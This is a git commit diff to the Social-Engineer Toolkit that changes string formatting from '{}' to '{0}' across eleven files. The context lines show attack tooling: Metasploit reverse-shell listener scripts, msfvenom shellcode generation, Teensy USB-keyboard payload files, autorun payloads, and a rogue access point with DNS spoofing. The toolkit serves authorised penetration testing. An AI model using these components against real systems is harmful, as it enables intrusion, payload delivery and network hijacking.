Updated {} to {0}

This commit is contained in:
Ryan Jarvis 2016-07-28 16:16:24 -07:00
parent 1dbcdfe482
commit 6315fbc1b7
11 changed files with 48 additions and 45 deletions

View file

@ -135,4 +135,4 @@ if os.path.isfile(filename):
# handle everything else
except Exception as e:
print("[*] Something went wrong, printing error: {}".format(e))
print("[*] Something went wrong, printing error: {0}".format(e))

12
seproxy
View file

@ -41,21 +41,21 @@ if operating_system == "posix":
sys.exit()
if username != "":
proxy_string = "export http_proxy='http://{}:{}@{}'".format(username, password, proxy)
proxy_string = "export http_proxy='http://{0}:{1}@{2}'".format(username, password, proxy)
else:
proxy_string = "export http_proxy='http://{}'".format(proxy)
proxy_string = "export http_proxy='http://{0}'".format(proxy)
with open(os.path.join(core.setdir, "/proxy.config"), "w") as filewrite:
filewrite.write(proxy_string)
def kill_proc(port, flag):
proc = subprocess.Popen("netstat -antp | grep '{}'".format(port), shell=True, stdout=subprocess.PIPE)
proc = subprocess.Popen("netstat -antp | grep '{0}'".format(port), shell=True, stdout=subprocess.PIPE)
stdout_value = proc.communicate()[0]
a = re.search("\d+/{}".format(flag), stdout_value)
a = re.search("\d+/{0}".format(flag), stdout_value)
if a:
b = a.group()
b = b.replace("/{}".format(flag), "")
subprocess.Popen("kill -9 {} 1> /dev/null 2> /dev/null".format(b), shell=True).wait()
b = b.replace("/{0}".format(flag), "")
subprocess.Popen("kill -9 {0} 1> /dev/null 2> /dev/null".format(b), shell=True).wait()
# cleans up stale processes from SET
try:

View file

@ -167,7 +167,7 @@ try:
for line in fileopen:
print((line.rstrip()))
print("{}The Social-Engineer Toolkit is designed purely"
print("{0}The Social-Engineer Toolkit is designed purely"
" for good and not evil. If you are planning on "
"using this tool for malicious purposes that are "
"not authorized by the company you are performing "
@ -175,7 +175,7 @@ try:
"service and license of this toolset. By hitting "
"yes (only one time), you agree to the terms of "
"service and that you will only use this tool for "
"lawful purposes only.{}".format(core.bcolors.RED, core.bcolors.ENDC))
"lawful purposes only.{1}".format(core.bcolors.RED, core.bcolors.ENDC))
print(core.bcolors.GREEN)
choice = input("\nDo you agree to the terms of service [y/n]: ")
choice += " " # b/c method below
@ -269,7 +269,7 @@ try:
# handle keyboard interrupts
except KeyboardInterrupt:
print(("\n\nThank you for {}shopping{} with the Social-Engineer Toolkit."
print(("\n\nThank you for {0}shopping{1} with the Social-Engineer Toolkit."
"\n\nHack the Gibson...and remember...hugs are worth more "
"than handshakes.\n".format(core.bcolors.RED, core.bcolors.ENDC)))

View file

@ -32,4 +32,4 @@ except KeyboardInterrupt:
# handle all other errors
except Exception as e:
print("\n[!] Something went wrong.. Printing the error: {}".format(e))
print("\n[!] Something went wrong.. Printing the error: {0}".format(e))

View file

@ -59,7 +59,7 @@ with open(os.path.join(autorun_path, "autorun.inf"), 'w') as filewrite:
else:
payload = ""
filewrite.write("""[autorun]\nopen={}\nicon=autorun.ico""".format(payload))
filewrite.write("""[autorun]\nopen={0}\nicon=autorun.ico""".format(payload))
core.print_status("Your attack has been created in the SET home directory (/root/.set/) folder 'autorun'")
core.print_status("Note a backup copy of template.pdf is also in /root/.set/template.pdf if needed.")
@ -77,15 +77,15 @@ if trigger in [1, 2, 3]:
for line in fileopen:
line = line.split(" ")
filewrite.write("use multi/handler\n")
filewrite.write("set payload {}\n".format(line[0]))
filewrite.write("set lhost {}\n".format(line[1]))
filewrite.write("set lport {}\n".format(line[2]))
filewrite.write("set payload {0}\n".format(line[0]))
filewrite.write("set lhost {0}\n".format(line[1]))
filewrite.write("set lport {0}\n".format(line[2]))
filewrite.write("set ExitOnSession false\n")
filewrite.write("exploit -j\r\n\r\n")
# create the listener
core.print_status("Launching Metasploit.. This could take a few. Be patient! Or else no shells for you..")
subprocess.Popen("{} -r {}".format(os.path.join(msf_path, "msfconsole"),
subprocess.Popen("{0} -r {1}".format(os.path.join(msf_path, "msfconsole"),
os.path.join(core.setdir, "meta_config")),
shell=True).wait()
else:

View file

@ -246,7 +246,7 @@ except KeyboardInterrupt:
print(" [*] Generating alpha_mixed shellcode to be injected after shellexec has been deployed on victim...")
# grab msfvenom alphanumeric shellcode to be inserted into shellexec
proc = subprocess.Popen("{} -p {} EXITFUNC=thread LHOST={} LPORT={} {} --format raw -e x86/alpha_mixed BufferRegister=EAX".format(os.path.join(core.meta_path(), "msfvenom"),
proc = subprocess.Popen("{0} -p {1} EXITFUNC=thread LHOST={2} LPORT={3} {4} --format raw -e x86/alpha_mixed BufferRegister=EAX".format(os.path.join(core.meta_path(), "msfvenom"),
payload,
ipaddr,
port,
@ -311,7 +311,7 @@ with open(random_filename) as fileopen:
if reading_hex == "":
break
# write out counter and hex
output_variable += 'prog_char RevShell_{}[] PROGMEM = "{}";\n'.format(counter, reading_hex)
output_variable += 'prog_char RevShell_{0}[] PROGMEM = "{1}";\n'.format(counter, reading_hex)
# increase counter
counter += 1
@ -319,7 +319,7 @@ with open(random_filename) as fileopen:
output_variable += "PROGMEM const char *exploit[] = {\n"
# while rev_counter doesn't equal regular counter
while rev_counter != counter:
output_variable += "RevShell_{}".format(rev_counter)
output_variable += "RevShell_{0}".format(rev_counter)
# incremenet counter
rev_counter += 1
if rev_counter == counter:
@ -439,8 +439,8 @@ Keyboard.set_key1(0);
Keyboard.send_now();
}}""".format(random_filename=random_filename, powershell_command=powershell_command, vbs=vbs, bat=bat, alpha_payload=alpha_payload))
# delete temporary file
subprocess.Popen("rm {} 1> /dev/null 2>/dev/null".format(random_filename), shell=True).wait()
print(" [*] Binary to Teensy file exported as {}".format(os.path.join(core.setdir, "/reports/binary2teensy.pde")))
subprocess.Popen("rm {0} 1> /dev/null 2>/dev/null".format(random_filename), shell=True).wait()
print(" [*] Binary to Teensy file exported as {0}".format(os.path.join(core.setdir, "/reports/binary2teensy.pde")))
# write the teensy.pde file out
with open(os.path.join(core.setdir, "/reports/binary2teensy.pde"), 'w') as filewrite:
# write the teensy.pde file out
@ -450,13 +450,13 @@ print(" [*] Generating a listener...")
# create our metasploit answer file
with open(os.path.join(core.setdir, "answer.txt", "w")) as filewrite:
filewrite.write("use multi/handler\n"
"set payload {}\n"
"set LHOST {}\n"
"set LPORT {}\n"
"{}\n"
"set payload {0}\n"
"set LHOST {1}\n"
"set LPORT {2}\n"
"{3}\n"
"exploit -j".format(payload, ipaddr, port, url))
# spawn a multi/handler listener
subprocess.Popen("msfconsole -r {}".format(os.path.join(core.setdir, "answer.txt")), shell=True).wait()
subprocess.Popen("msfconsole -r {0}".format(os.path.join(core.setdir, "answer.txt")), shell=True).wait()
print(" [*] Housekeeping old files...")
# if our answer file is still there (which it should be), then remove it
if os.path.isfile(os.path.join(core.setdir, "answer.txt")):

View file

@ -47,14 +47,14 @@ with open(os.path.join(core.setdir, "x86.powershell")) as fileopen:
reading_encoded = fileopen.read(data_read).rstrip()
if not reading_encoded:
break
output_variable += "const char RevShell_{}[] PROGMEM = '{}';\n".format(counter, reading_encoded)
output_variable += "const char RevShell_{0}[] PROGMEM = '{1}';\n".format(counter, reading_encoded)
counter += 1
rev_counter = 0
output_variable += "const char exploit[] PROGMEM = {\n"
while rev_counter != counter:
output_variable += "RevShell_{}".format(rev_counter)
output_variable += "RevShell_{0}".format(rev_counter)
rev_counter += 1
if rev_counter == counter:
output_variable += "};\n"
@ -149,7 +149,7 @@ Keyboard.set_key1(0);
Keyboard.send_now();
}
""")
print("[*] Payload has been extracted. Copying file to {}".format(os.path.join(core.setdir, "reports/teensy.pde")))
print("[*] Payload has been extracted. Copying file to {0}".format(os.path.join(core.setdir, "reports/teensy.pde")))
if not os.path.isdir(os.path.join(core.setdir, "reports")):
os.makedirs(os.path.join(core.setdir, "reports"))
with open(os.path.join(core.setdir, "/reports/teensy.pde", "w")) as filewrite:
@ -172,16 +172,16 @@ if choice == "YES":
with open(os.path.join(core.setdir, "/metasploit.answers", "w")) as filewrite:
filewrite.write("use multi/handler\n"
"set payload {}\n"
"set LHOST {}\n"
"set LPORT {}\n"
"set payload {0}\n"
"set LHOST {1}\n"
"set LPORT {2}\n"
"set AutoRunScript post/windows/manage/smart_migrate\n"
"exploit -j".format(payload, ipaddr, port))
print("[*] Launching Metasploit....")
try:
child = pexpect.spawn("{} -r {}\r\n\r\n".format(os.path.join(core.meta_path(), "msfconsole"),
os.path.join(core.setdir, "metasploit.answers")))
child = pexpect.spawn("{0} -r {1}\r\n\r\n".format(os.path.join(core.meta_path(), "msfconsole"),
os.path.join(core.setdir, "metasploit.answers")))
child.interact()
except:
pass

View file

@ -234,7 +234,7 @@ Keyboard.send_now();
}}
""".format(random_filename=random_filename, powershell_command=powershell_command, vbs=vbs, bat=bat))
# delete temporary file
subprocess.Popen("rm {} 1> /dev/null 2>/dev/null".format(random_filename), shell=True).wait()
subprocess.Popen("rm {0} 1> /dev/null 2>/dev/null".format(random_filename), shell=True).wait()
print("[*] Binary to Teensy file exported as teensy.pde")
# write the teensy.pde file out
with open("teensy.pde", "w") as filewrite:

View file

@ -84,7 +84,7 @@ with open(os.path.join(core.setdir, "teensy")) as fileopen:
def writefile(filename, now):
with open(os.path.join("src/teensy", filename)) as fileopen, \
open(os.path.join(core.setdir, "/reports/teensy_{}.pde".format(now)), "w") as filewrite:
open(os.path.join(core.setdir, "/reports/teensy_{0}.pde".format(now)), "w") as filewrite:
for line in fileopen:
match = re.search("IPADDR", line)
@ -128,7 +128,9 @@ if choice == "13":
# save our stuff here
print(core.bcolors.BLUE +
"\n[*] PDE file created. You can get it under '{}'".format(os.path.join(core.setdir, "reports", "teensy_{}.pde".format(now))) +
"\n[*] PDE file created. You can get it under '{0}'".format(os.path.join(core.setdir,
"reports",
"teensy_{0}.pde".format(now))) +
core.bcolors.ENDC)
print(core.bcolors.GREEN +
'[*] Be sure to select "Tools", "Board", and "Teensy 2.0 (USB/KEYBOARD)" in Arduino' +
@ -144,8 +146,8 @@ if payload_counter == 1:
metasploit_exec_path = os.path.join(core.setdir, "msf.exe")
if not apache:
subprocess.Popen("mkdir {};"
"cp {} {} 1> /dev/null 2> /dev/null".format(webclone_path,
subprocess.Popen("mkdir {0};"
"cp {1} {2} 1> /dev/null 2> /dev/null".format(webclone_path,
metasploit_exec_path,
os.path.join(webclone_path, "x.exe")),
shell=True).wait()
@ -154,14 +156,15 @@ if payload_counter == 1:
child = pexpect.spawn("python src/html/web_server.py")
else:
subprocess.Popen("cp {} {}".format(metasploit_exec_path, os.path.join(webclone_path, "x.exe")), shell=True).wait()
subprocess.Popen("cp {0} {1}".format(metasploit_exec_path, os.path.join(webclone_path, "x.exe")), shell=True).wait()
if os.path.isfile(os.path.join(core.setdir, "meta_config")):
print(core.bcolors.BLUE + "\n[*] Launching MSF Listener...")
print(core.bcolors.BLUE + "[*] This may take a few to load MSF..." + core.bcolors.ENDC)
try:
if operating_system != "windows":
child1 = pexpect.spawn("{} -r {}\r\n\r\n".format(os.path.join(msf_path, "msfconsole"), os.path.join(core.setdir, "meta_config")))
child1 = pexpect.spawn("{0} -r {1}\r\n\r\n".format(os.path.join(msf_path, "msfconsole"),
os.path.join(core.setdir, "meta_config")))
child1.interact()
except:
if operating_system != "windows":

View file

@ -17,7 +17,7 @@ subprocess.Popen("rmmod rtl8187;"
"rfkill unblock all;"
"modprobe rtl8187;"
"rfkill unblock all;"
"ifconfig {} up".format(interface),
"ifconfig {0} up".format(interface),
shell=True).wait()
core.print_status("Killing airbase-ng...")

View file

@ -114,7 +114,7 @@ if os.path.isfile("/usr/local/sbin/airmon-ng"):
else:
airmonng_path = "src/wireless/airmon-ng"
monproc = subprocess.Popen("{} start {} |"
monproc = subprocess.Popen("{0} start {1} |"
"grep \"monitor mode enabled on\" |"
"cut -d\" \" -f5 |"
"sed -e \'s/)$//\'".format(airmonng_path, interface),
@ -127,7 +127,7 @@ subprocess.Popen("modprobe tun", shell=True).wait()
# create a fake access point
core.print_status("Spawning airbase-ng in a separate child thread...")
child = pexpect.spawn('{} -P -C 20 -e "{}" -c {} {}'.format(airbase_path, access_point, ap_channel, moniface))
child = pexpect.spawn('{0} -P -C 20 -e "{1}" -c {2} {3}'.format(airbase_path, access_point, ap_channel, moniface))
core.print_info("Sleeping 15 seconds waiting for airbase-ng to complete...")
time.sleep(15)
@ -156,7 +156,7 @@ child3 = pexpect.spawn("echo 1 > /proc/sys/net/ipv4/ip_forward")
# start dnsspoof
core.print_status("Starting DNSSpoof in a separate child thread...")
child4 = pexpect.spawn("{} -i at0".format(dnsspoof_path))
child4 = pexpect.spawn("{0} -i at0".format(dnsspoof_path))
core.print_status("SET has finished creating the attack. If you experienced issues please report them.")
core.print_status("Now launch SET attack vectors within the menus and have a victim connect via wireless.")